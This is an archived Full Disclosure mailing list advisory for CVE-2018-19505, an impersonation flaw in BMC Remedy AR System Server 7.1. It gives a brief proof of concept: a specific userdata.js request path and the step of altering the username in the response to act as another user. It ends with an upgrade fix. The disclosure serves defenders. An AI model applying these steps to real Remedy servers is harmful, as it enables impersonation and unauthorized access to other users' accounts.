[prev in list] [next in list] [prev in thread] [next in thread]
List: full-disclosure
Subject: [FD] CVE-2018-19505 - Impersonation may lead to incorrect user context in Remedy AR System Server in
From: Rafael Pedrero <rafael.pedrero () gmail ! com>
Date: 2018-11-26 9:00:47
Message-ID: CANoQWWfC6CYn8QWqmBY_U0jv1wojMD+N7B0h0aVsQxyQ_kaw8A () mail ! gmail ! com
[Download RAW message or body]
<!--
# Exploit Title: Impersonation may lead to incorrect user context in Remedy
AR System Server in BMC Remedy 7.1
# Date: 23-11-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.bmc.com/
# Software Link: http://www.bmc.com/
# Version: Impersonation may lead to incorrect user context in Remedy AR
System Server in BMC Remedy 7.1
# Tested on: all
# CVE : 1CVE-2018-19505
# Category: webapps
1. Description
Remedy AR System Server in BMC Remedy 7.1 may fail to set the correct user
context in certain impersonation scenarios, which can allow a user to act
with the identity of a different user.
2. Proof of Concept
Impersonation may lead to incorrect user context in Remedy AR System Server
in BMC Remedy 7.1.
Go to WorkOrderConsole:
In Request:
/WOI:WorkOrderConsole/Default+User+View+(Support)/userdata.js?winname=SERVERWOIWOI+WORKOrderConsole12345643244
(last values can change)
In response change the user value in function
UserData_Init(){ARKWSetup(2,"USERNAME_TO_CHANGE","....more values).
3. Solution:
Update to the latests version Remedy AR System Server in BMC Remedy 8.1.
-->
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic